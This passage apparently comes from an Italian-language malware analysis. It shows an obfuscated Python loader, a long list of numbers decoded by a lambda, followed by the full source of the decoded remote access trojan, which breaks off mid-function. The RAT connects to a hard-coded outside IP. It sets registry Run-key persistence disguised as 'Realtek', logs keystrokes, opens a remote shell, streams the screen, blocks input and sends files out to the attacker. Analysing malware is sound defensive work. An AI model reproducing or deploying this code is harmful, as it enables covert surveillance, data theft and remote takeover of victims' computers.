8395920 10128444 5195743 2690586 6516500 1367415 4855620 7032428 4435044 3366048 5690048 6591708 592466 3569794 6444400 3048480 2409552 1671795 8973852 4348454 1501668 9659784 3838242 10187620 4522477 5385490 3658900 1985862 2639328 72956 10173475 2406304 7880086 11155242 8058868 2333865 5477565 9271300 4288680 2197861 8851638 5056946 2761883 2224713 837216 8986056 2077268 2172580 742400 1826025 200526 395212 3249920 840828 910016 2890624 6507746 2621600 5567287 1110400 4504090 2382386 4741260 4783360 2228787 5647834 2809560 1753563 1932288 2989500 5198232 2190794 1135510 1419400 6550557 979011 10610712 5647500 4782653 1857160 3143347 23330 1490912 315072 2784128 2155872 1695456 1359648 962848 95456 7468755 4669764 1056800 1237974 8858900 1851096 2558432 2794470 5523760 778688 1558905 2631460 266240 4984445 9678729 10397090 5492000 7348457 2924442 238740 6322585 5884912 3598398 5885600 3950575 2122670 11191564 6872148 4571563 4140542 4899114 2312320 2778980 34150 1775200 1743616 2694240 735744 1642700 7823258 9061986 986400 8834430 284661 6093450 3248700 4238630 6717645 4950017 5022800 1316840 7375401 4583190 6369306 4396188 1151485 3200846 786800 2688064 594208 810080 3074464 1192352 508224 1240736 2673536 7435878 6663267 4656080 6428664 6138444 1861300 2432256 5097892 41440 7220620 10913994 5743780 2446640 7552728 5922627 8561223 1110192 5884320 3952435 3981852 5421600 6988449 4077248 5231295 6071670 2375800 8304813 3866685 8930588 8388422 4353448 1162880 7475312 2443897 6194880 1177200 2451529 375396 10323384 4405518 4915468 1288408 5346925 6285576 8324100 6036402 3125070 723028 5644635 1733740 7909317 5127164 4429152 5904288 4372290 6088698 8127167 3175955 5812675 2604796 2983840 1087919 6180800 3765330 1659548 1099860 1200368 9271000 9510665 6179370 2113902 1594662 3230695 3595995 9766386 11025168 5700684 1788654 1407978 6616510 9212880 1099975 51612 2135600 4351384 6793920 2709768 3858008 7374145 2530656 1471000 3454080 8012290 822829 5321280 10487061 4681362 7129360 6690888 8641905 7645275 9883860 10895100 11409035 775560 95360 6704758 3151680 6404787 1012085 760220 743936 2930720 568704 2707360 1201728 2476576 2935392 262784 8988672 806081 10565744 8924409 5839536 4414520 1389696 2796420 4171284 7244050 7335603 1575922 7921400 1869486 9270840 6551448 1700300 2160948 3111615 1486076 3845646 10453458 997173 7497615 7206900 1161960 2736996 3066432 4182309 2260224 3553836 2888028 8339320 5044743 8604896 7334000 591882 4111480 690896 4967400 1053329 9711318 3132720 647542 2277492 872034 7390430 7487200 3229400 626808 880720 2238560 614624 768352 751776 1251600 653369 1531632 1853088 9078675 8647392 2963643 4128732 8266104 2518200 28905 1988008 916850 602240 2286112 1294016 2520992 2237760 1471936 2110368 830848 4073875 862270 11327845 3174329 6644770 3032900 2690960 11404205 6525928 8592636 2334200 10001877 4413470 665528 4354531 861025 5990008 7350255 7305529 4342500 3460680 1965786 309944 567324 148614 4067528 79028 4454706 218020 7990785 8094120 6177000 9145752 3305800 1430108 4655620 5827668 6778940 2421855 5272288 643076 3267905 2639867 4943197 2687840 8342136 5543784 5474743 10735083 1332704 831613 92384 10785965 1528856 4814334 3385621 1815462 6125144 666120 3597594 561255 6743240 1968540 5447481 5730652 2849008 191314 9883500 4284117 8035731 9479733 7151300 9873760 1730240 2533349 770540 2660928 148512 2668384 509664 1433280 3170016 2527264 2376128 2885295 8427648 1227328 6578649 8571420 7830342 8061531 8327501 3215288 2124500 99510 762656 2263893 1355603 2216704 2843556 1827144 7146200 175440 2794846 847100 609856 1135104 2351776 3070560 1239456 1409408 1793344 685632 612672 1683072 2361664 2660256 10969650 8175624 9530514 1708912 2370924 1737344 2496852 1355488 3023488 4569759 1913025 542340 10009776 2614829 5449448 5623176 2735390 5158545 5225600 1105900 4127760 9546588 1330120 13959 1678764 10673934 1205431 4022109 2523990 959726 2470638 29110 304110 573728 1869312 3000960 272448 731232 1874976 1009728 2108192 1496320 584864 2313504 2296992 635460 4753812 2472064 4184940 4694634 1320006 5861712 6977168 1436896 3148210 2273653 1987200 3453156 8861106 2072538 9181607 5581108 568608 2606391 6689550 910524 4645575 7983768 969400 4785795 8740038 2419560 1385980 3351588 11130732 1857040 1848924 5781324 4077363 5247151 3913819 277185 2181438 554931 3093983 3232563 1687296 1819296 799488 2175552 722390 1506816 188288 82240 722048 1964416 319360 1899744 2125504 1630016 288096 1897248 729984 8275839 8167608 935985 7609037 4207146 1168992 59136 6023532 3307080 6069690 7990660 785240 3130108 3851760 10897203 1447686 4034072 981560 1137504 1209760 212832 3095968 3040704 450080 3044320 2443168 2681248 773280 1314496 1608960 4729605 1122160 2469551 3736476 10547064 3909400 1902605 920320 1501824 356448 961760 2843392 1572896 636640 1723648 2346304 2361178 488052 4335030 5175582 628992 3302692 909909 3922320 4185300 3655856 584494 238240 5863620 55110 2758656 6566967 9581853 10744893 2381868 5398060 2571520 4402944 9720438 9405060 2799500 10050936 3550240 2716045 996580 2281792 427456 725824 1501792 1012192 637312 1912544 191744 7115551 2031588 8061165 4353666 2604608 10349130 3437781 8316852 2395104 5573502 5227767 1138614 8909660 1606208 2983680 9739020 1008832 5972670 7303356 4131209 5651868 1378912 1798463 1579351 536416 863090 2559456 2223532 5501764 2460192 10179110 504816 7430873 7103808 965520 3324640 2248235 843310 3041216 833408 2723456 167040 2808768 3020096 2960000 2736704 3304114 4356504 4824710 2405315 364240 1168704 313030 1833728 2871808 1435968 2503392 1753184 2284000 609344 983744 1541472 1989600 1698880 1580576 3438270 5186438 4068300 258970 9726264 5222295 11455928 10418464 10600200 10595208 3034592 597495 1611168 8444778 8455239 1050830 972825 702570 2451636 579444 64800 1131600 2179782 5672322 6558312 2204634 2675127 176700 1630912 2558656 1888352 2874592 2051680 1903552 2392672 1556192 1271328 1052160 215136 1508704 7767060 3047148 1475712 8612890 631590 829632 1212608 991881 4893555 6281100 7465955 9068145 8783073 5039852 6589296 9882405 8941744 1438226 341216 4787220 2347242 3276580 5082017 5967060 3203600 1628520 1087558 2910453 1749132 3085275 2646710 429792 2728590 1231656 3558204 9884244 9466464 10648053 3118892 1748178 2766670 5111610 9961160 8555580 1465977 7186100 9065053 3467160 2087872 786006 1145268 6107148 1322730 523824 3387488 1867304 3186479 2821026 2530144 10889350 4719936 5665191 8247528 5421168 1884880 104919 54510 2675360 670112 1383776 685632 448480 988768 2019360 787104 3059904 333728 2092544 1607968 11424100 200284 9642060 1448138 8117780 9720100 1912160 2179422 9123763 11037168 3522880 8677555 1920000 294822 340189 9382300 7493980 10339428 64701 94424 4723264 6794073 98948 17712 926395 1746636 141056 4328370 1064128 2605295 2375244 5661684 3367160 1919456 86330 2854944 452640 665888 2969600 3839100 861934 5549310 2186816 1222947 373293 2366100 2485416 11288280 6033849 1317492 237440 3307716 1395016 855970 3105280 898688 856992 1783488 1376768 2903744 826432 3099904 5965938 260837 8411400 608960 973011 1280512 2287235 1838850 297540 8018390 306504 8443372 598560 4128828 5761470 1693090 5541900 3823290 3434242 2890459 1367350 6071600 3873148 2527173 3288819 7410300 6079897 946520 982360 187390 261216 1743712 1192128 263232 532768 2556352 2444192 3117056 8052240 9266700 283840 22950 3610144 5298840 3700410 2973196 1999540 2942816 10270050 10328230 1084032 2658744 6584254 3195300 2627922 1440512 8981392 9380718 8839110 7373630 372128 922840 1827976 3900624 2043258 3510285 1090497 9379680 2707215 4549288 4519725 4288460 8075612 975936 4261808 1632310 338606 961286 3403533 2223072 3176645 91448 5963364 2707560 8845923 8950795 93425 1004840 1591292 778310 2650240 171872 2536480 1086432 670592 1734336 2463840 2413728 7312097 4694652 8930145 3797256 2581312 3371610 7776760 5566392 2117263 36828 10356336 1726384 12448 8300565 6815270 3110208 8045730 5872811 9403900 3939302 2215840 253000 2066584 6121408 8507700 9476460 3758440 2599482 781160 1073728 5435892 2209344 4462370 3023308 1013574 10434111 8166960 1529280 3715092 64520 3104896 1336544 2611264 2756160 209952 1767168 2982624 1936928 5052929 9912564 3056235 1874760 977344 420682 9943189 1141603 777304 5382720 4877784 1283380 1345283 9864165 3114936 431460 2771200 1752240 1128600 1193952 6976035 5038743 1038200 3804510 1254016 6946892 8249280 10522542 1415313 9091422 2126500 152704 356850 2153920 2143332 4825080 1265514 1350269 3908130 843200 9491160 9723010 5406058 1599052 7727832 10243480 4434942 1309566 5939601 4748500 1231040 9855824 4668804 6312522 5777579 9498747 17400 1613877 2955232 4930179 9472826 8422680 7600230 2151843 338045 251399 2337184 8510224 8352240 3341226 4512478 5528030 4105100 4118702 8290810 2120016 2875371 1223448 9028744 1334040 1153658 2361416 3194528 5616072 1379508 7418290 5125576 1853298 5371068 9129240 2152680 831316 743420 1683520 1460320 634016 179744 1266816 2718528 2118176 2256640 2568632 3512268 10305645 9388692 2414880 833476 9424560 7108885 9181843 8719746 766800 8332215 7313823 6630041 8686230 8772890 8446308 1150517 7092396 551116 2614838 736704 4566870 4948130 1183072 2213046 6365709 8496000 1514380 307720 1376256 2243264 1532352 1311776 257248 1836448 753504 83392 687456 1609248 1921184 1417888 7843392 535242 1883850 44064 3789555 3047456 10417785 10143320 715616 3197016 892400 979330 8987162 4785683 108760 1701378 3063453 1012272 2608666 90712 292768 6232964 3180187 7035787 21364 3185700 8821665 9266946 5446900 3699550 967260 630288 9623811 7682796 129684 7961760 3952794 2166248 8215900 2811600 6671175 2520311 317120 1285056 3136992 702688 1398016 1206464 392768 164352 2366048 2705120 2912192 2209920 2326112 2236480 2086368 16384 1620576 1053984 340100 1932224 2588448 2520064 237600 528736 977792 1984512 555040 2284320 2631136 1904512 1941440 2810115 3407700 1516020 2031044 10978542 8196462 9330768 19440 194750 197810 2844192 1543264 73280 2653952 1450208 2963904 533312 1055392 6895371 3789180 306180 3751968 3038368 2131324 1291169 8801847 55781 7322462 3858840 52281 8291250 10251028 8203630 10070435 2692824 2120433 1371664 1925624 714816 591570 2572130 1717280 7409754 9947558 4878200 2621774 373140 752768 2060288 187392 2946528 2323392 2829920 2025280 1490976 2018688 3163552 93920 2105504 205326 8893431 1763010 1371168 9959985 2439040 8327865 10500600 1086752 1575252 4797814 9102610 380070 7349972 2334880 3586849 4880293 1168944 2249301 4152626 128064 7901843 8318259 3744950 3767708 8501934 798407 7465176 2619400 940010 8228961 3196930 3042312 44820 5669991 6287094 8667214 1561895 3655548 5685694 7171186 530000 3142650 1042876 62600 1989184 2495232 1321312 2632864 1357952 2662592 525024 1405376 3043552 2323840 2406848 243520 5046426 6616266 9232630 4025896 4817298 9481176 4417848 1065840 2752740 500180 2553408 2012928 2075584 1619232 2036448 690336 2924960 1851232 4662665 6420168 5643120 1266942 583424 2912848 3433908 1291285 4017020 8129640 8259066 998412 2519094 701856 7302225 8811770 2667168 3074643 5803923 4139100 4196532 2955072 7875430 11362338 9219644 1053360 3886146 8130195 5113350 7913552 8709065 7706495 2075658 3264080 987900 503888 4829820 6595600 1902880 1922054 6927600 8750976 7846605 8600936 1106900 9349863 3212167 8407520 2007264 1880505 5725764 2906336 977310 6916964 312800 1624416 814470 3268520 1848824 2468864 6356855 3029840 9612965 2990782 6417944 1468680 1256430 4103616 713680 1555581 854960 1357216 3170368 2128992 831136 781824 1302784 1929408 382944 8752155 6077268 3948105 5496576 1255840 1923210 3209420 9715784 937170 3824984 7010000 8079468 3222520 4317830 423130 1478912 4481925 6360530 1361408 6148593 3601033 6359800 2907540 1275488 255645 11583351 6402732 5116608 6462774 9288369 2248389 9602171 11010330 1538700 3616106 1009680 8881554 6412000 7763365 10370580 3293760 2482612 10294340 2482480 11241828 1474128 2642800 7146180 3898202 10184570 2518304 2738745 6511794 13408 619245 9116092 3103264 1701648 1893222 1688503 839098 1471136 2725500 1444861 3847670 3560630 300576 11154840 7466550 797152 643360 2732281 673360 2431072 2450464 1007680 1228448 2654720 378944 1509376 2511616 6015964 492480 9121665 923814 2649856 1241918 8847180 6081372 8564592 6150799 3591560 10352650 7012010 3478176 5300472 3293820 2375784 513696 5602590 2047760 187840 9042660 3172990 4094700 2474106 611890 2546016 1300992 871104 1268736 570720 305280 2269792 1689536 837344 2351648 2980320 2067328 3206574 2004240 635912 4071600 1405152 2705598 7620820 6336615 2232040 110495 151008 4889091 6967850 2954336 11450320 9096912 1501968 4841608 1514784 4816660 1289079 3850620 2052842 6272215 1984944 8498715 958856 615360 1897111 756080 2369664 1763648 434304 294304 183776 1227360 1776928 1659392 751808 2229504 772608 2448864 4840605 5145627 7287280 11231352 5581440 4047171 9915804 972400 3074754 879660 1680096 1253856 2411552 582432 1504800 3023552 2988192 3144608 3167057 10081260 4405065 5905392 2953920 2048364 1222592 4573482 3352854 9726700 7628880 7506050 5632264 1870318 4928110 1114839 8961528 408068 1413440 1948905 4700520 1548736 9053748 6283632 8070700 2132312 211232 6118209 7744560 4451558 4386816 1637028 10444336 5045051 7449750 2452920 7038918 1203969 2076282 9142015 7635596 1912224 9679436 3941900 47500 2396384 3024980 6419160 5074650 264684 2591324 6599270 4893412 2990640 7136542 50430 3892359 2390778 4653936 9025570 4038095 1334142 5947455 5407654 2103672 500739 873740 1482880 1652280 6026490 502970 2027860 3484017 2826056 7247548 10312365 2879415 7447506 3548337 5125550 10864791 8917962 4123568 8514416 3248058 3002895 1823470 3234400 10428117 2694993 7089750 8651220 4236075 8411598 5161578 3088032 10018897 3896530 5688292 8535242 9551469 3477684 4437965 10351635 2167830 3068890 8922712 7144906 342576 8948170 2616980 1334272 4348816 7028906 2924672 6600836 4575502 8454520 2652912 9485204 1580044 9935057 708896 3893198 5484132 1924224 1000400 3491745 1110369 2271830 6735948 2895390 1468640 4678662 7408000 681024 239020 10089198 3031776 850260 771829 3065552 5451948 8146458 12383875 2160632 327873 2576112 2659838 2789696 4962276 3782658 4159650 3536840 5518854 9660219 3750192 3847960 1155913 612230 1214624 3155904 936992 2978080 86560 3003136 2626400 2346368 6631559 610416 2205525 7059522 3051296 137700 6246225 7170966 4850358 3130697 8331692 119240 6353290 5996432 487813 11113746 8918098 2869532 1241472 10107615 914650 611520 1898622 6395357 45100 187282 858816 8504480 2137212 4395612 4752353 4421073 7139990 9560 3040601 4324228 3185184 1370160 8157834 4271190 10667824 9130260 2635362 3138696 3946320 2417401 137710 1287936 668384 2540480 441184 2251392 777856 3070848 165408 2394104 2742552 1666140 7496592 1574848 1202852 478515 1332240 8306766 1903096 6642500 3703515 1268302 3468630 504696 3043296 1240155 8668440 1454144 6017814 8644354 7023900 4419020 2554752 11247000 661167 4171958 9021824 3410082 7285818 3545784 367236 9412750 6791325 2008544 7773520 4721718 478800 6905875 1829520 3737200 1287104 1688660 1600144 6763419 8029752 3047000 5558547 9505958 9195230 89472 3794580 4904405 1488512 3486555 10352072 3142784 3119952 1914472 214225 3726086 1197312 10631405 7977651 5066210 1725966 6738922 4236720 1165500 1946712 2349720 371255 194590 2656256 3188864 238144 3101504 827264 2843200 1771584 99712 5559343 10368432 2023770 488682 501024 2285480 119600 3648755 5827740 387975 2142250 1350888 4853586 249594 923296 10027815 9732800 952352 3003858 7448515 8175400 4654210 603776 630500 1245280 2284832 367712 3173760 1419808 2930624 3199488 2026560 3584 374496 148448 2612032 7635390 5226592 1825504 3992694 3022752 9527778 4449757 9831 11358477 2094134 8235035 8714848 11340265 1317716 4392847 7082625 3504360 500960 583557 10097568 2921576 10654484 1099616 2233760 4282662 1025023 2389386 9863271 2718872 7249679 3437082 719361 5269740 5109216 874414 7516433 9873656 2342938 5539776 11088456 2336400 8565779 9210719 1545715 2021976 7137801 10586847 8541894 1818960 3021372 2754158 2336936 900011 47640 10875348 3986314 3506925 2940020 5143566 92610 5714128 2496240 1167721 3411616 2650208 2497950 5830440 2160578 9046019 8703574 3100384 1149789 162816 11004112 3014388 783372 10061028 9990696 10522578 5623620 4651466 2433584 7480512 9586720 2847726 10224527 4057372 3435080 3772369 214480 1368288 1004256 2117760 1850688 2582592 662112 2670880 1532416 2927872 863616 2936448 473728 4719692 1821150 1450464 2408402 429792 2890560 8739156 418744 3047624 3164380 486700 1457729 2665441 7619397 7789440 1341873 8977682 6228684 1869525 2515788 2252160 6546056 3686032 4357308 770784 5983950 1634010 4523680 8790750 89120 5034757 3203414 7469109 2991569 11631246 8121300 11143308 5607520 3574328 618976 555488 9784527 6834438 10022320 3636530 7552719 1238260 685722 7598740 687885 2900990 10597528 7140700 5270477 3305125 755420 4275180 1485994 9205047 6341634 9603387 9755700 9681961 1374880 6374238 5951047 10738244 459954 1733736 169792 5057268 4095936 3843950 1597493 8799679 3398751 2692702 8670420 5276052 4894600 519847 2777375 431670 4243967 1987245 3073278 4527220 739825 938520 2166450 5169518 7171055 2034544 2135096 2203008 5726880 11382813 10743810 4098541 1032339 9394818 4573228 4375320 1531362 1540944 7885777 9629481 1075825 769317 11239000 573490 4756570 1198711 2802927 618082 2672460 6011220 7030295 7909125 8703732 1390180 5456060 675072 4316439 11445408 3495140 8190389 675582 8952539 1420480 7401314 7640953 502512 837315 1583820 648351 7535550 11421000 783930 7892157 3010043 2110077 4242084 2803494 615483 8979048 488670 932140 2728010 3793606 429376 9501627 3264183 8946850 7212920 2137490 2170793 3157532 9881177 3576778 6527070 9419072 8926155 6430270 6221600 2079000 480270 6435611 321769 9004539 7478240 1951338 2310909 1981584 7340579 10837370 1234525 1548894 1532388 2332818 2281632 7221699 9134073 10883950 5993048 7188005 9959610 1097514 8705872 9920280 5852586 3859218 9010513 37030 2078510 6884331 870162 9310500 340540 2692288 2426784 2787648 845088 3304936 44880 1671406 1831675 328050 1492352 877792 910112 240512 2470240 2652672 289312 1593792 906272 2454880 1868576 1622656 8050115 3261124 6559600 9179385 10649540 3386400 285200 7982540 3952038 4189036 3571764 9883280 2964357 9618816 2862500 8178273 3541960 1483298 2397270 3680951 1499040 6413616 4007655 1106820 8236580 8010096 8931837 881820 4440 3458391 482800 864096 3101312 192416 687904 224992 560864 1218752 437760 1187053 2473092 1489215 3892830 658944 1427592 7792100 7133304 5304901 8691980 3719844 4799862 8462668 7114000 1780478 3120864 3904425 8838610 3168544 5803182 2828550 8893600 4096540 265890 786272 1169408 1857664 1435968 1962528 1152736 2447136 2599168 1021504 1032288 362464 2788928 4410276 10223745 3733452 8868810 2838990 1947663 361117 9068487 860992 1965115 265344 7894755 4628794 3476900 1159340 660801 2279864 7601727 961270 1250912 1629760 279488 1480640 1812000 591904 318528 1550176 513632 609536 2169184 2479456 3650220 7042998 2015328 5684754 6806390 1542104 8431136 9546061 9361664 2608320 1432532 1275630 2972280 2907555 11255050 2415352 10796545 1170040 7847778 7535745 1531224 2222 8651940 2255347 9142484 6594896 2093050 1775264 2418101 4330146 652960 1196580 11009322 7951905 9200494 4585132 612470 2836160 713728 2063392 727392 1842720 1163328 1230464 46080 870240 1516192 979744 1321056 1705952 92640 3172320 2341920 1763410 2319504 9027040 2766087 10509180 9334500 1831560 1068824 719210 8325413 4387284 383460 2034084 1846394 3238262 7896900 2138400 10804296 8453800 5235133 3679640 596017 42558 247780 2205376 1684544 2717440 1038976 144512 246208 491360 1011744 1763328 717344 2771776 1913888 1516512 2209664 2095136 2688224 9269230 2673870 609088 5706062 2566336 10617950 8042172 8089983 3994738 4601257 7736852 2597666 2041595 8623035 9474993 4001265 7462284 3603424 3853000 9938530 7052274 4326894 10369370 2438241 10170996 2690264 2433795 5469590 1841290 3915428 5400720 4673025 7818636 1319340 776064 5418915 4305690 7729128 5290722 9385829 9292992 1914014 5218459 5184375 3792736 231075 3884550 7242580 4885104 7106776 3061047 4513860 4100712 3329979 406330 3101792 3091456 1664416 3029376 1426336 804064 586304 129344 1184160 2926624 450752 1888000 1388064 2348800 1846176 589216 9116740 883386 2029060 621027 9134301 8432050 3759580 4386632 163845 849584 952600 2564280 6593184 331563 2644546 6328728 4214628 3158016 5382990 1880226 2384640 3855654 3823701 2271400 670190 137952 1775808 83552 2983904 176608 1510496 2178272 1249024 548064 646656 70688 2436288 2219680 1173120 1940544 2617856 3654354 9996525 5536944 4251393 6352715 3121545 12152664 7488746 360960 414495 651712 4291482 8832345 522652 6303584 1314835 1186912 5408416 675142 8355566 344107 407856 4469935 7149975 539728 4840627 3864720 458388 3947580 6562404 8510765 4030180 1256344 6963683 3738515 981786 645120 2907712 2383392 1292736 953024 2593344 2860320 2138272 1338496 53824 1947360 3054880 1803200 14688 996096 361472 2791488 1889335 5517030 2259520 1858170 5403197 10356280 2870900 3234600 645558 2661622 8369781 951660 1884120 9623016 6312702 8519610 9236243 963996 2858502 2646000 10048362 2879685 5201427 7783440 2673385 4532632 5573100 4766328 7448357 6533350 762375 7425756 3784914 1268610 7114392 8218774 9405160 1009890 5018470 3039090 4850875 1084566 1784340 5684583 7375720 9449253 6548223 4314500 5356434 663640 2459016 699829 482890 1133248 434112 1635104 1169024 156000 3079232 2520992 1057248 1252992 1164736 2431232 1592384 2740992 2777952 141472 1154816 1650173 10046190 8140184 7338552 994016 3359415 6762784 7216551 1688830 3475720 9697854 8476230 5091228 7699735 9339990 9624243 5644565 2648422 2388804 1495488 1885878 2484858 3801518 1341096 1295436 638240 9323252 5568645 1260928 8622162 4748866 958570 2342880 1827808 779392 2468896 2671072 1181920 1907872 1408608 174720 147968 1857760 2041856 2731776 2828608 2882176 2510880 647744 135328 1275936 3030528 1644461 2444208 4773300 5119632 9578436 952032 2436252 9649986 10862865 1018888 4727232 36990 996704 150976 2140000 1696576 2987776 1953568 2217184 375616 2351072 1768928 171616 1630368 2547200 3175680 214976 1754688 1623616 2943296 3199488 377984 1166752 2428832 3070496 1335360 9262274 6169790 6483588 9046065 7349420 3309040 817608 3035858 1205807 8888400 1194400 3057442 2075200 4465050 4063778 5369856 174326 1901976 569700 3487000 4947426 7344170 1742090 6550530 3253350 4011768 4283550 1047709 4383139 4139370 4176432 3252899 458430 1575040 1006464 816800 767360 398464 901344 1050816 2061376 2455232 534272 2864352 1182784 1477600 52640 1184480 365216 3193088 2292384 844672 388352 1478592 2496352 49824 2893600 4539990 4569396 1442816 5153170 4250856 366908 2020800 2137870 6669883 7380616 284214 4088250 12825 6919230 47369 8236561 5971400 2506586 2879040 9216704 10665384 8940318 8678687 9661458 137560 574592 3180896 2355424 671936 732960 1153728 1057888 8032 2891616 793216 1393920 304960 399360 1738144 177056 1296256 1204672 768480 2364704 2898432 3076192 546048 616864 1191936 10690285 5051568 3177174 2211335 8089797 4270640 9714600 3427204 1857384 1003428 2435760 935998 5924644 9197756 4934759 11310825 2648125 4719258 3211093 2808926 5306800 259981 12540 2463040 1776384 1299296 3130176 1879008 2891776 1051232 457216 416288 854912 2097856 112512 184064 1360384 163904 2660864 5646500 4802478 3438914 8436681 1024704 4391271 6408490 5810227 1682320 2853272 153000 1024672 1594944 3176032 2508064 1623328 1112192 21344 184928 1915296 2270848 415264 319232 8068385 6908004 10266855 7860830 1856290 1509408 8421105 1651400 4373680 638825 6723090 6613900 1595400 1656140 1832710 7581189 2815574 1612760 9655398 3636490 1904958 6099006 6146200 9984961 154760 1512900 2140241 400750 2333856 1580320 2410624 1018304 403648 1440064 403712 1734368 1872800 2190752 637984 3051936 8945640 9583740 2816660 8706380 1309290 8046834 5865156 2547200 3841987 210740 1555488 2164128 136640 2019584 6590305 440416 1899784 946912 4864960 7843593 7554492 7565435 805374 3585560 1592336 1328595 6007542 4108401 10614079 5797703 6882628 2898880 10249950 8719827 9883665 2344156 3109184 10483500 4581508 2013050 6557880 8337485 552975 5213442 4621137 4402020 2163832 2263200 10011440 1252413 3259179 10007282 1862642 6047428 4178272 6780436 6335010 4456505 1074750 496565 7184480 4796232 2503706 6647529 2662530 1213443 3906685 4617104 2034176 5929170 795984 2600037 10416684 6937260 10892530 4928598 9159678 4806228 3147400 86640 1848240 6881927 7909485 3711792 3693888 2214176 963680 3245794 1659844 7817964 2777545 2994517 4073655 1615328 834471 1823508 4565770 11314524 9742212 6554883 1439856 3057560 3800987 1710016 737190 4279700 4189379 1986654 3167872 7353027 269000 391632 1488396 411800 1927072 3196576 2918304 1160800 10274460 7368192 2411010 866160 6606915 1932608 7470876 8939652 4964310 9178476 1590244 703910 380992 323296 3028160 2071520 231936 3064128 642656 2008384 2279632 5777730 6146113 815348 4891430 9912186 1390368 1227442 1624128 22885 3997952 2645644 1017792 6873151 6346791 3665316 1567240 4670239 1656864 888200 3898024 2148646 1380644 6704200 7044245 7635771 1428126 5583300 7872748 1054400 2060168 404530 1074080 2855072 2682528 390592 2948576 702016 736384 1595520 8298045 1422186 358848 2217208 1171390 882528 3898139 4846254 4377956 2704190 1116512 5233200 3757050 1496704 4230404 10374420 4319511 1523988 7499755 9525726 4427894 1096064 5348376 3000240 7854840 1587417 2509430 4157324 8900645 6984525 10111372 2113727 2892978 528148 3913120 2339460 825910 2204576 386688 1197600 1242496 255808 2303456 493184 590688 786083 2326968 5849015 5713065 1772886 1653344 457585 4264624 2530276 6759355 8089797 4912930 5035600 2501320 1736278 4249986 3787619 2871402 2663768 6643679 3562900 2971089 261960 5374200 2495407 1619800 1216634 2567748 231350 2493645 8291400 6751080 8640756 1923141 954880 1563912 10881072 138762 5066968 4338806 340510 2255136 1249472 1833344 2013952 10797512 1792536 6130465 3438704 373056 668460 3161216 2435296 1390016 1225920 27488 545568 2000384 2256320 5231580 8220912 2584960 5985259 1735392 10289855 8367624 9094140 2142354 4471876 6258896 697820 1930390 448995 8783181 10186293 8340277 1620868 3196560 11147525 10981119 3033261 6327017 4954757 10668868 3339278 3170830 3042760 2573170 5252934 3823638 5095512 4926768 3274876 3193536 6914030 1277277 4226310 4654607 5878907 150684 3717674 5429528 421070 5658820 5799525 6805230 8094077 5046972 5498838 2482137 6213025 1763916 1626552 2722555 2223040 9022900 7334432 2732952 5300856 4399374 10150690 10013300 1149683 5975244 8826556 2473600 2255280 6386112 5144796 663170 7497672 468732 2763264 1776544 65128 1681240 4053099 1126926 2467831 475710 518592 163296 629984 2825472 173792 1509568 2594624 1122752 5494230 2200224 5855220 9915804 5591966 2286112 7933464 8414682 431262 4644586 3531736 329184 8876043 2521240 3598201 903740 2727232 2488448 1409920 2600320 6668727 5484720 3601620 9230087 10310384 2495508 1250074 3153504 9970464 4759596 10079865 6658270';
_=lambda OO00000OOO0000OOO,c_int=100000:(_OOOO00OO0O00O00OO:=''.join(chr(int(int(OO00000OOO0000OOO.split()[OO00O0OO00O0O0OO0])/random.randint(1,c_int))) for OO00O0OO00O0O0OO0 in range(len(OO00000OOO0000OOO.split()))))
r = _(__)
print(r)
Analisi del payload
Il codice ottenuto è il RAT vero e proprio. Il codice sorgente è riportato di seguito.
import socket, os, sys, subprocess, keyboard, threading, platform, requests, struct, PIL, time
from vidstream import ScreenShareClient
from mss import mss
HOST = "45.82.71.11"
PORT = 4433
BUFFER = 1048576
SEPARATOR = "<SEPARATOR>"
BUFFER_SIZE = 4096
naa = sys.argv[0]
comple = f"{naa}"#
print(comple)
os.popen(f'reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Realtek /t REG_SZ /d "{comple}"')
def client_start():
def main3():
usernam7 = os.getlogin()
fest7 = os.getcwd()[:1]
def wrt(data):
with open(f"{fest7}:\\Users\\{usernam7}\\AppData\\Roaming\\keylogs.txt","a") as file: file.write(data)
def fgg(char):
if char == "space": return " "
elif len(char) > 1: return "[%s]" % char
else: return char
def log(event): wrt(fgg(event.name))
keyboard.on_press(log)
keyboard.wait()
def screen():
sender = ScreenShareClient(HOST, 5555)
t = threading.Thread(target=sender.start_stream)
t.start()
g = s.recv(1024).decode()
if "d" in g: sender.stop_stream()
def runincmd(comm):
runcmd = subprocess.Popen(comm,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
return runcmd.stdout.read() + runcmd.stderr.read()
def shell():
s.send(str(os.getcwd()+"").encode("UTF-8"))
comm = s.recv(BUFFER).decode()
if comm[:2] == "cd":
rrrtt = os.path.isdir(comm[3:])
if rrrtt == True: os.chdir(str(comm[3:]))
else: print("no")
shell()
elif "exit" in comm: print()
elif not comm or comm == " ": shell()
else:
cmd_output = runincmd(comm)
if not cmd_output: s.send("[*]no_output".encode("utf-8"))
shell()
s.send(bytes(cmd_output))
shell()
def control():
cmd = s.recv(BUFFER).decode()
if "exit" in cmd:
print("[*]exiting...")
s.close()
elif "shell" in cmd:
shell()
control()
elif "keylogger" in cmd:
thread = threading.Thread(target= main3)
thread.start()
control()
elif "keyblock_start" in cmd:
for i in range(150): keyboard.block_key(i)
control()
elif "keyblock_stop" in cmd:
for i in range(150): keyboard.unblock_key(i)
control()
elif "reboot" in cmd:
subprocess.Popen("shutdown -r -t 0")
sys.exit()
elif "shutdown" in cmd:
subprocess.Popen("shutdown -r -t 0")
sys.exit()
elif "screenshot" in cmd:
with mss() as sct:
sct.shot()
control()
elif "persistence" in cmd:
os.popen(f'reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Realtek /t REG_SZ /d "{comple}"')
control()
elif "screenshare" in cmd:
screen()
control()
elif "shutdown" in cmd:
subprocess.Popen("shutdown -s -t 0")
sys.exit()
elif "sysinfo" in cmd:
ip = requests.get('https://checkip.amazonaws.com').text.strip()
uname = platform.uname()
tr = (f"""
[+]Public Ip: {ip}
[+]System: {uname.system}
[+]Node Name: {uname.node}
[+]Release: {uname.release}
[+]Version: {uname.version}
[+]Machine: {uname.machine}
[+]Processor: {uname.processor}
""")
s.send(tr.encode())
control()
elif "download" in cmd:
filename = cmd[9:]
if os.path.exists(filename) == True:
s.send("ja67".encode())
sr = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sr.connect((HOST, 6666))
filesize = os.path.getsize(filename)
sr.send(f"{filename}{SEPARATOR}{filesize}".encode())
with open(filename, "rb") as f:
while True:
bytes_read = f.read(BUFFER_SIZE)
if not bytes_read: break
